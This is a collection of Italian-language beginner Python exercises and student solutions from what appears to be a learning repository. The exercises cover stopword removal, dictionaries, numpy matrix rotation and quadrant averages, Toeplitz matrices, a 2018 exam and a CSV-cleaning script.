----------------------------------------------------------------------------------------------------- # # ----------------------------------------------------------------------------------------------------- # # Esercizio 2 # """ # Quando si analizza una frase, può essere utile processarla per rimuovere parole molto comuni, come # gli articoli e le preposizioni: # Per esempio: # "un libro su Python per principianti" # si può semplificare in # "libro Python principianti" # Le parole 'poco utili' vengono chiamate 'stopwords'. Questo processo è per esempio eseguito # dai motori di ricerca per ridurre la complessità della stringa di input fornita dall'utente. # Implementare una funzione che prende una stringa e RITORNA la stringa di input senza le # stopwords # SUGGERIMENTO 1: le stringhe in Python sono *immutabili* ! Per rimuovere le parole dovete # creare una _nuova_ stringa a partire dalla stringa di partenza. # SUGGERIMENTO 2: create una lista di parole così: # lista = stringa.split(" ") # SUGGERIMENTO 3: operate le opportune trasformazioni su lista, e poi costruite la stringa # da restituire con " ".join(lista) # """ # def nostop(stringa, stopwords): # readstr = stringa.split(" ") # print(readstr) # for i in range(0,len(stopwords)): # n = readstr.count(stopwords[i]) # word2remove=stopwords[i] # print("Parola da rimuovere: \"",word2remove, "\" ",n," volte") # for j in range(0,n): # readstr.remove(word2remove) # print(readstr) # j =+ 1 # print("finale", " ".join(readstr)) # print("-" * 25) # return " ".join(readstr) # # INIZIO TEST - NON TOCCARE ! # assert nostop("un", ["un"]) == "" # assert nostop("un", []) == "un" # assert nostop("", []) == "" # assert nostop("", ["un"]) == "" # assert nostop("un libro", ["un"]) == "libro" # assert nostop("un libro su Python", ["un","su"]) == "libro Python" # assert nostop("un libro su Python per principianti", ["un","uno","il","su","per"]) == "libro Python principianti" # # FINE TEST # # ----------------------------------------------------------------------------------------------------- # # ----------------------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------------------- # Esercizio 3 """ Restituisce un dizionario con n coppie chiave-valore, dove le chiavi sono numeri interi da 1 a n incluso, e ad ogni chiave i è associata una lista di numeri da 1 a i NOTA: le chiavi sono *numeri interi*, NON stringhe !!!!! Esempio: dilist(3) deve dare: { 1:[1], 2:[1,2], 3:[1,2,3] } """ # def dilist(n): # # # scrivi qui # diz = dict() # for voce in range(1,n+1): # diz[voce] = list(range(1,voce+1)) # # print("incremento diz;" , diz) # print("Diz.: ", diz) # print("-"*25) # return diz # #INIZIO TEST - NON TOCCARE ! # assert dilist(0) == dict() # assert dilist(1) == { # 1:[1] # } # assert dilist(2) == { # 1:[1], # 2:[1,2] # } # assert dilist(3) == { # 1:[1], # 2:[1,2], # 3:[1,2,3] # } # # FINE TEST # ----------------------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------------------- # Esercizio 4 import numpy as np """ RESTITUISCE una NUOVA matrice numpy che ha i numeri della matrice numpy di input ruotati di una colonna. Per ruotati intendiamo che: - se un numero nella matrice di input si trova alla colonna j, nella matrice di output si troverà alla colonna j+1 nella stessa riga. - Se un numero si trova nell'ultima colonna, nella matrice di output si troverà nella colonna zeresima. Esempio: Se abbiamo come input np.array( [ [0,1,0], [1,1,0], [0,0,0], [0,1,1] ]) Ci aspettiamo come output np.array( [ [0,0,1], [0,1,1], [0,0,0], [1,0,1] ]) """ def matrot(matrice): raise Exception # scrivi qui # INIZIO TEST - NON TOCCARE ! m1 = np.array( [ [1] ]) mat_attesa1 = np.array( [ [1] ]) assert np.allclose(matrot(m1), mat_attesa1) m2 = np.array( [ [0,1] ]) mat_attesa2 = np.array( [ [1,0] ]) assert np.allclose(matrot(m2), mat_attesa2) m3 = np.array( [ [0,1,0] ]) mat_attesa3 = np.array( [ [0,0,1] ]) assert np.allclose(matrot(m3), mat_attesa3) m4 = np.array( [ [0,1,0], [1,1,0] ]) mat_attesa4 = np.array( [ [0,0,1], [0,1,1] ]) assert np.allclose(matrot(m4), mat_attesa4) m5 = np.array([ [0,1,0], [1,1,0], [0,0,0], [0,1,1] ]) mat_attesa5 = np.array([ [0,0,1], [0,1,1], [0,0,0], [1,0,1] ]) assert np.allclose(matrot(m5), mat_attesa5) # FINE TEST <file_sep>""" Quando si analizza una frase, può essere utile processarla per rimuovere parole molto comuni, come articoli e le preposizioni: Per esempio: "un libro su Python per principianti" si può semplificare in "libro Python principianti" Le parole 'poco utili' vengono chiamate 'stopwords'. Questo processo è per esempio eseguito dai motori di ricerca per ridurre la complessità della stringa di input fornita dall'utente. Implementare una funzione che prende una stringa e RITORNA la stringa di input senza le stopwords SUGGERIMENTO 1: le stringhe in Python sono *immutabili* ! Per rimuovere le parole dovete creare una _nuova_ stringa a partire dalla stringa di partenza. SUGGERIMENTO 2: create una lista di parole così: lista = stringa.split(" ") SUGGERIMENTO 3: operate le opportune trasformazioni su lista, e poi costruite la stringa da restituire con " ".join(lista) """ def nostop(stringa, stopwords): # scrivi qui # INIZIO TEST - NON TOCCARE ! assert nostop("un", ["un"]) == "" assert nostop("un", []) == "un" assert nostop("", []) == "" assert nostop("", ["un"]) == "" assert nostop("un libro", ["un"]) == "libro" assert nostop("un libro su Python", ["un","su"]) == "libro Python" assert nostop("un libro su Python per principianti", ["un","uno","il","su","per"]) == "libro Python principianti" # FINE TEST<file_sep>""" Prende in input una lista con n numeri interi, e RITORNA una NUOVA lista che contiene n tuple ciascuna da due elementi. Ogni tupla contiene un numero preso dalla corrispondente posizione della lista di partenza, e il suo doppio. Per esempio: doppie([ 5, 3, 8]) deve dare la nuova lista [(5,10), (3,6), (8,16)] """ def doppie(lista): # scrivi qui # INIZIO TEST - NON TOCCARE ! assert doppie([]) == [] assert doppie([3]) == [(3,6)] assert doppie([2,7]) == [(2,4),(7,14)] assert doppie([5,3,8]) == [(5,10), (3,6), (8,16)] # FINE TEST<file_sep>''' Esercizio 3 ATTENZIONE: IN QUESTO ESERCIZIO NUMPY NON DEVE ESSERE UTILIZZATO RESTITUISCE True se la matrice come lista di liste in input è Toeplitz, mentre RESTITUISCE False se non lo è. Una matrice è Toeplitz se e solo se tutti gli elementi su ogni diagonale contiene gli stessi elementi. assumiamo che la matrice contenga sempre almeno una riga di almeno un elemento SUGGERIMENTO: usare due for, nel primo scorrere la matrice per righe, nel secondo per colonne Chiedersi: - da che riga occorre partire per la scansione? La prima è utile? - da che colonna occorre partire per la scansione? La prima è utile? - se scorriamo le righe dalla prima verso l'ultima e stiamo esaminando un certo numero ad una certa riga, che condizione deve rispettare quel numero affinchè la matrice sia toepliz ? ESEMPIO: matrix = [[1,2,3,4],[5,1,2,3],[9,5,1,2]] 1 2 3 4 5 1 2 3 9 5 1 2 Su ogni diagonale ci sono gli stessi numeri e quindi viene restituito True 1 2 3 4 5 1 4 3 9 3 1 2 Restituisce False. Ci sono due diagonali con numeri diversi: (5,3) e (2,4,2) ''' def toepliz(matrix): # scrivi qui # INIZIO TEST - NON TOCCARE ! assert toepliz([[1]]) == True assert toepliz([[3,7], [5,3]]) == True assert toepliz([[3,7], [3,5]]) == False assert toepliz([[3,7], [3,5]]) == False assert toepliz([[3,7,9], [5,3,7]]) == True assert toepliz([[3,7,9], [5,3,8]]) == False assert toepliz([[1,2,3,4], [5,1,2,3], [9,5,1,2]]) == True assert toepliz([[1,2,3,4], [5,9,2,3], [9,5,1,2]]) == False # FINE TEST <file_sep>""" ESERCIZIO 1 RITORNA un dizionario in cui le chiavi sono numeri interi da 1 a n inclusi, e i rispettivi valori sono i quadrati delle chiavi powers(3) Ritorna { 1:1, 2:4, 3:9 } """ def powers(n): # scrivi qui # INIZIO TEST - NON TOCCARE !!! assert powers(1) == {1:1} assert powers(2) == { 1:1, 2:4 } assert powers(3) == { 1:1, 2:4, 3:9 } assert powers(4) == { 1:1, 2:4, 3:9, 4:16 } # FINE TEST <file_sep> import numpy as np """ RESTITUISCE una NUOVA matrice numpy che ha i numeri della matrice numpy di input ruotati di una colonna. Per ruotati intendiamo che: - se un numero nella matrice di input si trova alla colonna j, nella matrice di output si troverà alla colonna j+1 nella stessa riga. - Se un numero si trova nell'ultima colonna, nella matrice di output si troverà nella colonna zeresima. Esempio: Se abbiamo come input np.array( [ [0,1,0], [1,1,0], [0,0,0], [0,1,1] ]) Ci aspettiamo come output np.array( [ [0,0,1], [0,1,1], [0,0,0], [1,0,1] ]) """ def matrot(matrice): # scrivi qui # INIZIO TEST - NON TOCCARE ! m1 = np.array( [ [1] ]) mat_attesa1 = np.array( [ [1] ]) assert np.allclose(matrot(m1), mat_attesa1) m2 = np.array( [ [0,1] ]) mat_attesa2 = np.array( [ [1,0] ]) assert np.allclose(matrot(m2), mat_attesa2) m3 = np.array( [ [0,1,0] ]) mat_attesa3 = np.array( [ [0,0,1] ]) assert np.allclose(matrot(m3), mat_attesa3) m4 = np.array( [ [0,1,0], [1,1,0] ]) mat_attesa4 = np.array( [ [0,0,1], [0,1,1] ]) assert np.allclose(matrot(m4), mat_attesa4) m5 = np.array([ [0,1,0], [1,1,0], [0,0,0], [0,1,1] ]) mat_attesa5 = np.array([ [0,0,1], [0,1,1], [0,0,0], [1,0,1] ]) assert np.allclose(matrot(m5), mat_attesa5) # FINE TEST <file_sep> # import sys # locate_python = sys.exec_prefix # print(locate_python) # # To launch this library on Jupyter # # matplotlib inline # Useful link to plot things inside Sublime Text 3 # https://github.com/sschuhmann/Helium/issues # To install the library for the first time: # python -m pip install matplotlib import matplotlib import matplotlib.pyplot as plt import numpy as np x = [1 ,2, 3, 4, 5, 6, 7, 8, 9, 10] y = [10, 20 ,30, 40, 50, 60 , 70 , 80, 90 , 100] plt.plot(x,y,'b') plt.show() x = np.arange(0,11,1.) y = 2*x+y fig = plt.figure(figsize=(10,2)) # larghezza 10 pollici, altezza 2 pollici <file_sep>""" ESAME S<NAME>ORITMI PYTHON 14 Giugno 2018 - NON CAMBIATE IL NOME DELLE FUNZIONI - SE VOLETE POTETE AGGIUNGERE FUNZIONI VOSTRE, MA DOVETE SEMPRE RICHIAMARLE DALLE FUNZIONI CHE VI HO SCRITTO IO - QUANDO SCRIVO 'RITORNA', LA FUNZIONE DEVE _RITORNARE_ DEI VALORI, NON STAMPARLI CON LA PRINT !!!! - COMUNQUE, PRINT ADDIZIONALI DI DEBUG SONO CONCESSE - NON RIASSEGNATE I PARAMETRI IN INPUT! TRADOTTO: NON SCRIVETE _MAI_ QUALCOSA DEL GENERE !!! def f(x): x = ..... - OGNI FUNZIONE E' SEGUITA DAGLI ASSERT DI TEST, SE QUANDO ESEGUITE IL CODICE NON VEDETE ERRORI PROBABILMENTE IL CODICE E' GIUSTO (MA NON FIDATEVI TROPPO, I TEST NON SONO ESAUSTIVI !) - USARE EDITOR SPYDER. - Per eseguire tutto lo script: F5 - Per eseguire solo la linea corrente o la selezione: F9 *** DA FARE: IMPLEMENTATE QUESTE 4 FUNZIONI: *** - medie - potenza - toepliz - quadranti """ ''' Esercizio 1 Dato un dizionario strutturato ad albero riguardante i voti di uno studente in classe V e VI, RESTITUIRE un array contente la media di ogni materia Esempio: medie([ {'id' : 1, 'subject' : 'math', 'V' : 70, 'VI' : 82}, {'id' : 1, 'subject' : 'italian', 'V' : 73, 'VI' : 74}, {'id' : 1, 'subject' : 'german', 'V' : 75, 'VI' : 86} ]) ritorna [ (70+82)/2 , (73+74)/2, (75+86)/2 ] ovvero [ 76.0 , 73.5, 80.5 ] ''' def medie(lista): ret = [0.0, 0.0, 0.0] for i in range(len(lista)): ret[i] = (lista[i]['V'] + lista[i]['VI']) / 2 return ret # INIZIO TEST - NON TOCCARE ! import math ''' Verifica che i numeri float in lista1 siano simili a quelli di lista2 ''' def is_list_close(lista1, lista2): if len(lista1) != len(lista2): return False for i in range(len(lista1)): if not math.isclose(lista1[i], lista2[i]): return False return True assert is_list_close(medie([ {'id' : 1, 'subject' : 'math', 'V' : 70, 'VI' : 82}, {'id' : 1, 'subject' : 'italian', 'V' : 73, 'VI' : 74}, {'id' : 1, 'subject' : 'german', 'V' : 75, 'VI' : 86} ]), [ 76.0 , 73.5, 80.5 ]) # FINE TEST ''' Esercizio 2 RESTITUISCE un generatore che produce una sequenza dei primi n elevati al quadrato Esempio potenza(4) resituirà 0 (0*0) 1 (1*1) 4 (2*2) 9 (3*3) 16 (4*4) ''' def potenza(n): i = 0 while i <= n: yield i * i i += 1 # INIZIO TEST - NON TOCCARE ! import types assert isinstance(potenza(0), types.GeneratorType) # verifico che pari ritorni un generatore e non una lista assert list(potenza(0)) == [0] assert list(potenza(1)) == [0,1] assert list(potenza(2)) == [0,1,4] assert list(potenza(3)) == [0,1,4,9] assert list(potenza(4)) == [0,1,4,9,16] # FINE TEST ''' Esercizio 3 ATTENZIONE: IN QUESTO ESERCIZIO NUMPY NON DEVE ESSERE UTILIZZATO RESTITUISCE True se la matrice come lista di liste in input è Toeplitz, mentre RESTITUISCE False se non lo è. Una matrice è Toeplitz se e solo se tutti gli elementi su ogni diagonale contiene gli stessi elementi. assumiamo che la matrice contenga sempre almeno una riga di almeno un elemento SUGGERIMENTO: usare due for, nel primo scorrere la matrice per righe, nel secondo per colonne Chiedersi: - da che riga occorre partire per la scansione? La prima è utile? - da che colonna occorre partire per la scansione? La prima è utile? - se scorriamo le righe dalla prima verso l'ultima e stiamo esaminando un certo numero ad una certa riga, che condizione deve rispettare quel numero affinchè la matrice sia toepliz ? ESEMPIO: matrix = [[1,2,3,4],[5,1,2,3],[9,5,1,2]] 1 2 3 4 5 1 2 3 9 5 1 2 Su ogni diagonale ci sono gli stessi numeri e quindi viene restituito True 1 2 3 4 5 1 4 3 9 3 1 2 Restituisce False. Ci sono due diagonali con numeri diversi: (5,3) e (2,4,2) ''' def toepliz(matrix): for i in range(1,len(matrix)): for j in range(1,len(matrix[0])): if matrix[i][j] != matrix[i-1][j-1]: return False return True # INIZIO TEST - NON TOCCARE ! assert toepliz([[1]]) == True assert toepliz([[3,7], [5,3]]) == True assert toepliz([[3,7], [3,5]]) == False assert toepliz([[3,7], [3,5]]) == False assert toepliz([[3,7,9], [5,3,7]]) == True assert toepliz([[3,7,9], [5,3,8]]) == False assert toepliz([[1,2,3,4], [5,1,2,3], [9,5,1,2]]) == True assert toepliz([[1,2,3,4], [5,9,2,3], [9,5,1,2]]) == False # FINE TEST ''' Esercizio 4 ATTENZIONE: IN QUESTO ESERCIZIO DEVE ESSERE UTILIZZATO NUMPY Data una matrice 2n * 2n, dividere la matrice in 4 parti quadrate uguali (vedi esempio per capire meglio) e RESTITUIRE una NUOVA matrice 2 * 2 contente la media di ogni quadrante Si assume che la matrice sia sempre di dimensioni pari SUGGERIMENTO: per dividere per 2 e ottenere un numero intero, usare l'operatore // Esempio: 1, 2 , 5 , 7 4, 1 , 8 , 0 2, 0 , 5 , 1 0, 2 , 1 , 1 si divide in 1, 2 | 5 , 7 4, 1 | 8 , 0 ----------------- 2, 0 | 5 , 1 0, 2 | 1 , 1 e si restituisce (1+2+4+1)/ 4 | (5+7+8+0)/4 2.0 , 5.0 ----------------------------- => 1.0 , 2.0 (2+0+0+2)/4 | (5+1+1+1)/4 ''' import numpy as np def quadranti(matrice): ret = np.zeros( (2,2) ) dim = matrice.shape[0] n = dim // 2 elementi_per_quadrante = n * n for i in range(n): for j in range(n): ret[0,0] += matrice[i,j] ret[0,0] /= elementi_per_quadrante for i in range(n,dim): for j in range(n): ret[1,0] += matrice[i,j] ret[1,0] /= elementi_per_quadrante for i in range(n,dim): for j in range(n,dim): ret[1,1] += matrice[i,j] ret[1,1] /= elementi_per_quadrante for i in range(n): for j in range(n,dim): ret[0,1] += matrice[i,j] ret[0,1] /= elementi_per_quadrante return ret # INIZIO TEST - NON TOCCARE ! assert np.allclose( quadranti(np.array([ [3.0, 5.0], [4.0, 9.0], ])), np.array([ [3.0, 5.0], [4.0, 9.0], ]) ) assert np.allclose( quadranti(np.array([ [1.0, 2.0 , 5.0 , 7.0], [4.0, 1.0 , 8.0 , 0.0], [2.0, 0.0 , 5.0 , 1.0], [0.0, 2.0 , 1.0 , 1.0] ])), np.array([ [2.0, 5.0], [1.0, 2.0] ])) # FINE TEST <file_sep># ------------------------------------------------------------------------------------- # ------------------------------------------------------------------------------------- # # ESERCIZIO 4: # def max_len_str(phrase): # parser = frase.split(" ") # length_parser = [] # for word in parser: # lenword = len(word) # length_parser.append(lenword) # print(length_parser) # max_value = max(length_parser) # print(max_value) # return max_value # frase = "La strada si inerpica lungo il ciglio della montagna" # 8 # frase = "Il temibile pirata Le Chuck dominava spietatamente i mari del Sud" # 13 # frase = "Praticamente ovvio" # 12 # max_len_str(frase) # max([len(parola) for parola in frase.split()]) # # ------------------------------------------------------------------------------------- # # ------------------------------------------------------------------------------------- # # # ESERCIZIO 4: # lista = [0, 0, 0, 0, 4, 0, 0, 0, 0] # -> [0, 1, 2, 3, 4, 3, 2, 1, 0] # #lista = [0, 0, 0, 3, 0, 0, 0] # -> [0, 1, 2, 3, 2, 1, 0] # #lista = [0, 0, 2, 0, 0] # -> [0, 1, 2, 1, 0] # #lista = [0] # -> [0] # value = max([numero for numero in lista]) # pos = lista.index(value) # print("Valore: ",value," in posizione: ",pos) # nlista = [] # l1 = list(range(0,value)) + list(range(value,0,-1)) # print(l1) # # ------------------------------------------------------------------------------------- # # ------------------------------------------------------------------------------------- # # # ESERCIZIO 4: stringa,car1,car2 = "accatastare la posta nella stiva", 's','t' # True stringa,car1,car2 = "dadaista entusiasta", 's','t' # False # stringa,car1,car2 = "barbabietole", 't','o' # True # stringa,car1,car2 = "barbabietole", 'b','a' # False # stringa,car1,car2 = "a", 'a','b' # False # stringa,car1,car2 = "ab", 'a','b' # True # stringa,car1,car2 = "aa", 'a','b' # False res = True start_string = stringa chars_i_want = (car1,car2) print(chars_i_want) final_string = ''.join(c for c in start_string if c in chars_i_want) print(final_string) if final_string[0] == car2: final_string=final_string[1:] check2 = car1+car2 print(check2) car = 0 while car+1<len(final_string) and res: #for car in range(0,len(final_string),2): try: temp = final_string[car] + final_string[car+1] car += 1 if temp != check2: res = False elif temp == check2: res = True except Exception: res = False print(res) # i = 0 # res = True # if len(stringa) == 1: # res = False # while i + 1 < len(stringa) and res: # if stringa[i] == car1 and stringa[i+1] != car2: # res = False # i += 1 # res<file_sep> """ Restituisce un dizionario con n coppie chiave-valore, dove le chiavi sono numeri interi da 1 a n incluso, e ad ogni chiave i è associata una lista di numeri da 1 a i NOTA: le chiavi sono *numeri interi*, NON stringhe !!!!! Esempio: dilist(3) deve dare: { 1:[1], 2:[1,2], 3:[1,2,3] } """ def dilist(n): # scrivi qui # INIZIO TEST - NON TOCCARE ! assert dilist(0) == dict() assert dilist(1) == { 1:[1] } assert dilist(2) == { 1:[1], 2:[1,2] } assert dilist(3) == { 1:[1], 2:[1,2], 3:[1,2,3] } # FINE TEST <file_sep>""" Esercizio 3 Prende una matrice come lista di liste in ingresso contenenti zeri e uni, e RITORNA una nuova matrice (sempre come lista di liste), costruita prima invertendo tutte le righe della matrice di input e poi rovesciando tutte le righe - Invertire una lista vuol dire trasformare gli 0 in 1 e gli 1 in 0. Per esempio, [0,1,1] diventa [1,0,0] [0,0,1] diventa [1,1,0] - Rovesciare una lista vuol dire che rovesciare l'ordine degli elementi: Per esempio [0,1,1] diventa [1,1,0] [0,0,1] diventa [1,0,0] Combinando inversione e rovesciamento, per esempio se partiamo da [ [1,1,0,0], [0,1,1,0], [0,0,1,0] ] Prima invertiamo ciascun elemento: [ [0,0,1,1], [1,0,0,1], [1,1,0,1] ] e poi rovesciamo ciascuna riga: [ [1,1,0,0], [1,0,0,1], [1,0,1,1] ] Suggerimenti - per rovesciare una lista usare il metodo .reverse() come in mia_lista.reverse() NOTA: mia_lista.reverse() modifica mia_lista, *non* ritorna una nuova lista !! - ricordarsi ll return !! """ def flip(matrice): # Scrvi qui # INIZIO TEST - NON TOCCARE !!! assert flip([[]]) == [[]] assert flip([[1]]) == [[0]] assert flip([[1,0]]) == [[1,0]] m1 = [ [1,0,0], [1,0,1] ] mat_attesa1 = [ [1,1,0], [0,1,0] ] assert flip(m1) == mat_attesa1 m2 = [ [1,1,0,0], [0,1,1,0], [0,0,1,0] ] mat_attesa2 = [ [1,1,0,0], [1,0,0,1], [1,0,1,1] ] assert flip(m2) == mat_attesa2 # verifica che l'm originale non è cambiato ! assert m2 == [ [1,1,0,0], [0,1,1,0], [0,0,1,0] ] # FINE TEST <file_sep> ''' Esercizio 4 ATTENZIONE: IN QUESTO ESERCIZIO DEVE ESSERE UTILIZZATO NUMPY Data una matrice 2n * 2n, dividere la matrice in 4 parti quadrate uguali (vedi esempio per capire meglio) e RESTITUIRE una NUOVA matrice 2 * 2 contente la media di ogni quadrante Si assume che la matrice sia sempre di dimensioni pari SUGGERIMENTO: per dividere per 2 e ottenere un numero intero, usare l'operatore // Esempio: 1, 2 , 5 , 7 4, 1 , 8 , 0 2, 0 , 5 , 1 0, 2 , 1 , 1 si divide in 1, 2 | 5 , 7 4, 1 | 8 , 0 ----------------- 2, 0 | 5 , 1 0, 2 | 1 , 1 e si restituisce (1+2+4+1)/ 4 | (5+7+8+0)/4 2.0 , 5.0 ----------------------------- => 1.0 , 2.0 (2+0+0+2)/4 | (5+1+1+1)/4 ''' import numpy as np def quadranti(matrice): # scrivi qui # INIZIO TEST - NON TOCCARE ! assert np.allclose( quadranti(np.array([ [3.0, 5.0], [4.0, 9.0], ])), np.array([ [3.0, 5.0], [4.0, 9.0], ]) ) assert np.allclose( quadranti(np.array([ [1.0, 2.0 , 5.0 , 7.0], [4.0, 1.0 , 8.0 , 0.0], [2.0, 0.0 , 5.0 , 1.0], [0.0, 2.0 , 1.0 , 1.0] ])), np.array([ [2.0, 5.0], [1.0, 2.0] ])) # FINE TEST <file_sep>import numpy as np # Matrice di partenza m = np.array( [ # 0 1 2 # Gilberto Rocky Clelia [5.0, 8.0, 1.0], # 0 Thè [7.0, 3.0, 2.0], # 1 Caffè [9.0, 2.0, 8.0] # 2 Ginseng ] ) nomi = ["Gilberto","Rocky","Clelia"] #print(nomi[0]) bevande = ["Thè","Caffè","Ginseng"] print("-"*55) print("<NAME> vs Bevande \n",m) print("-"*55) # Spesa dei singoli fruitori di bevande num_righe, num_colonne = m.shape somma = [] for col in range(0, num_colonne): spesa_col = m[:,col:col+1] somma_temp = np.sum(spesa_col) somma.append(somma_temp) print("Spesa di ciascuno: \n Gilberto, Rocky, Clelia \n" , somma) print("-"*55) # Alternativa 1: non piace print spendaccione = np.array(somma) index_spendaccione = np.where(spendaccione.max()) print("Prima alternativa di output:\n") print("Dei tre ha speso di più il numero:",index_spendaccione, ", per un totale di: ",spendaccione[index_spendaccione],"\n") # Alternativa 2 #l = [1,2,3,4,5] # Python list #a = np.array(l) # NumPy array spesePC = np.array(somma) indicePCmaggiore = spesePC.tolist().index(spesePC.max()) # return index of max PC print("Seconda alternativa di output:\n") print("Dei tre ha speso di più il numero:",indicePCmaggiore, ", per un totale di: ",spesePC[indicePCmaggiore],"\n") # Alternativa 3 print("Dei tre ha speso di più:",nomi[indicePCmaggiore], ", per un totale di: ",spesePC[indicePCmaggiore],"\n") print("-"*55) # Spesa singole bevande somma = [] for riga in m: somma_temp = np.sum(riga) somma.append(somma_temp) print("Spesa per tipo: \n Thé, Caffé, Ginseng \n" , somma) print("-"*55) speseBEV = np.array(somma) indiceBEV = speseBEV.tolist().index(speseBEV.max()) print("La bevanda preferita è la numero:",indiceBEV,", per un costo di: ",speseBEV[indiceBEV]) print("-"*55) print("La bevanda preferita è:",bevande[indiceBEV],", per un costo di: ",speseBEV[indiceBEV]) print("-"*55) <file_sep># TOC: Esercizi matrici ''' 1. esrigaf(mat,i) : ritorna la i-esima riga 1.a. con FOR 1.b. con RANGE 1.c. con SLICE 1.d. con LIST COMPREHENSION 1. escolf(mat,i) : ritorna la i-esima colonna ''' # ------------------------------------------------------------------------------------- # ------------------------------------------------------------------------------------- # 1) ESERCIZIO: Implementa la funzione esrigaf, che RITORNA la i-esima riga da mat # def esrigaf(mat, i): # riga = mat # return riga[i] # print("Prova",mat[i]) # return mat[i] # # RISOLUZIONE con FOR # def esrigaf(mat, i): # riga = [] # for x in mat[i]: # riga.append(x) # return riga # # RISOLUZIONE con RANGE # def esrigaf(mat, i): # riga = [] # for j in range(len(mat[0])): # riga.append(mat[i][j]) # return riga # # RISOLUZIONE con SLICE #return mat[i][:] # def esrigaf(mat, i): # riga = [] # # riga.append(riga.slice(0,len(mat[i]))) # return riga # print(len(m[0])) # x = slice(1,len(m[1]),len(m[1])) # print(m[x]) # print(type(m[0])) # # # RISOLUZIONE con LIST COMPREHENSION # def esrigaf(mat, i): # return [x for x in mat[i]] # m = [ ['a','b'], # ['c','d'], # ['a','e'] ] # assert esrigaf(m, 0) == ['a','b'] # assert esrigaf(m, 1) == ['c','d'] # assert esrigaf(m, 2) == ['a','e'] # # controlla che non abbia cambiato la matrice originale! # r = esrigaf(m, 0) # r[0] = 'z' # assert m[0][0] == 'a' # ------------------------------------------------------------------------------------- # ------------------------------------------------------------------------------------- # ESERCIZIO 2: colonna # def escolf(mat, j): # colonna = [] # for i in range(len(mat)): # colonna.append(mat[i][j]) # #print(colonna) # return colonna # # raise Exception('TODO IMPLEMENT ME !') # m = [ ['a','b'], # ['c','d'], # ['a','e'] ] # aa = escolf(m, 0) # print(aa) # assert escolf(m, 0) == ['a','c','a'] # assert escolf(m, 1) == ['b','d','e'] # # Controlla che la colonna ritornata non modifichi m # c = escolf(m,0) # c[0] = 'z' # assert m[0][0] == 'a' # # togli il commento se vuoi visualizzare l'esecuzione qui # #jupman.pytut() # def escolf(mat, j): # return [x[j] for x in mat] # # raise Exception('TODO IMPLEMENT ME !') # m = [ ['a','b'], # ['c','d'], # ['a','e'] ] # aa = escolf(m, 0) # print(m[0][0]) # ------------------------------------------------------------------------------------- # ------------------------------------------------------------------------------------- # ESERCIZIO 3: matrici vuote # def matrice_vuota(n, m): # temp = [] # for i in range(0,n): # print("i",i) # temp.append(0) # print(temp) # for j in range(0,m): # print("j",j) # temp.append(0) # print(temp) # # temp[i][j] = 0 # print(temp) # return temp # # raise Exception('TODO IMPLEMENT ME !') # # def matrice_vuota(n, m): # # temp = [] # # for i in range(0,n): # # riga = [] # # print("riga i",i) # # temp.append(riga) # # print(temp) # # for j in range(0,m): # # print("j",j) # # riga.append(0) # # print(temp) # # return temp # prova = matrice_vuota(2,2) # print(prova) # assert matrice_vuota(1,1) == [ [0] ] # assert matrice_vuota(1,2) == [ [0,0] ] # assert matrice_vuota(2,1) == [ [0], # [0] ] # assert matrice_vuota(2,2) == [ [0,0], # [0,0] ] # assert matrice_vuota(3,3) == [ [0,0,0], # [0,0,0], # [0,0,0] ]<file_sep># Challenge DATASET - PERSONAGGI STORICI import os import csv import pdb from typing import List # to enlist content directory path_dir: str = r"C:\Users\chiar\Google Drive\GIT\PRV\Python\Jupyter\formats" content_dir: List[str] = os.listdir(path_dir) filename = 'personaggi-storici-trentino.csv' path_file = os.sep.join([path_dir, filename]) print(path_file) print("-" * 45) # Dictionaries map_unknown = { 'sconosciuto': '', 'sconosciuto ': '', 'sconosciuto (forse Pavia)': '', 'sconosciuto (in Slesia)': '', 'probabilmente Termeno': '' } province = { 'TN': 'Trento', 'PI': 'Pisa', 'MC': 'Macerata', 'CO': 'Como', 'ME': 'Messina', 'MI': 'Milano' } secoli = { 'I': 0, 'II':100, 'III':200, 'IV':300, 'V':400, 'VI':500, 'VII':600, 'VIII':700, 'IX':800, 'X':900, 'XI':1000, 'XII':1100, 'XIII':1200, 'XIV': 1300, 'XV':1400, 'XVI':1500, 'XVII':1600, 'XVIII':1700, 'XIX':1800, 'XX':1900, 'XXI':2000, } with open(path_file,encoding='latin-1') as f_lettura: lettore = csv.reader(f_lettura) header = next(lettore) nome = header[3] data_nascita = header[4] luogo_nascita = header[6] print(nome,data_nascita,luogo_nascita) next(lettore) with open('dascrivere.csv', 'w', encoding='utf-8') as f_scrittura: # header del csv da scrivere intestazione = [nome.lower(), luogo_nascita.lower(),data_nascita.lower(), 'secolo'] scrittore = csv.writer(f_scrittura, delimiter=',') scrittore.writerow(intestazione) print("-" * 45) for riga in f_lettura: iriga = next(lettore) inome = iriga[3] idata = iriga[4] iluogo = iriga[6] # Fixed 'sconosciuto' if iluogo in map_unknown: iluogo = '' # Fixed 'Sigle province' for ikey in province: iluogo = iluogo.replace(ikey,province[ikey]) iluogo = iluogo.replace(',','') if not '(' in iluogo: iluogo = iluogo.replace(province[ikey],'('+province[ikey]+')') if not ' (' in iluogo: iluogo = iluogo.replace('(',' (') # Fixed 'Secolo' print("Conversione:") isecolo = idata.replace('/',' ') data_split = isecolo.split() #temp = idata.translate(None,not "123456789 ") # data_split = ['s1','s2','s3','s4'] print(data_split) for iword in reversed(data_split): # iword = s1 --> s2 --> ... iword2check = "" for ichar in iword: # ichar = i-character di iword if ichar in "0123456789 X I V": # costruisci variabile numerica secolo iword2check += ichar if iword2check != '': print("Anno/Secolo da gestire:",iword2check) try: if iword2check in secoli: #print("dentro dizionario",iword2check) isecolo = secoli.get(iword2check) #print("convertito",isecolo) if isecolo != '': print("Secolo identificato: ", isecolo) break except Exception: print("KKK: non ho trovato il secolo da convertire!") try: temp = int(iword2check) if (isinstance(temp, int)): temp -= temp % +100 isecolo = temp if isecolo != '': print("Secolo identificato: ", isecolo) break except ValueError: print(isecolo) pass #print("Riprova: ", iword) print("-" * 55) i_stampa = [inome,iluogo,idata,isecolo] scrittore.writerow(i_stampa) # print(i_stampa)
00c8a81a3e1375c178631fa075bc42f308a21bc2
[ "Markdown", "Python" ]
23
Python
CNardin/learning-python
407b35c3bb045477b823fb0fd8cf7ae05d92ef77
fb2a80c672543007ea41c656719710431a14115c
refs/heads/master
